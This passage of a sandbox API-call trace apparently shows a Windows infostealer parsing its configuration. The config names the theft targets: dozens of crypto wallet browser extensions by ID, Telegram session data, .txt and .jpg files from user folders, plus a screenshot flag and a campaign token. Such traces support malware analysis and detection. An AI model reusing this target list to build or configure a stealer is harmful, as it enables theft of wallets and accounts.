Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.587] lstrlenW (lpString="ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2218 [0260.587] LocalAlloc (uFlags=0x40, uBytes=0x11d4) returned 0x6bcb40 [0260.587] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.587] LocalFree (hMem=0x6bcb40) returned 0x0 [0260.588] StrStrW (lpFirst="ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.588] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.588] LocalFree (hMem=0x6b9720) returned 0x0 [0260.588] LocalFree (hMem=0x6ba880) returned 0x0 [0260.588] LocalFree (hMem=0x6bb9e0) returned 0x0 [0260.589] StrStrW (lpFirst="ews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.589] lstrlenW (lpString="ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2132 [0260.589] lstrlenW (lpString="ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2132 [0260.589] LocalAlloc (uFlags=0x40, uBytes=0x10a8) returned 0x6b9720 [0260.589] lstrlenW (lpString="ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2132 [0260.589] LocalAlloc (uFlags=0x40, uBytes=0x10a8) returned 0x6ba7d0 [0260.589] lstrlenW (lpString="ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2132 [0260.589] LocalAlloc (uFlags=0x40, uBytes=0x10a8) returned 0x6bb880 [0260.589] StrStrW (lpFirst="ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local 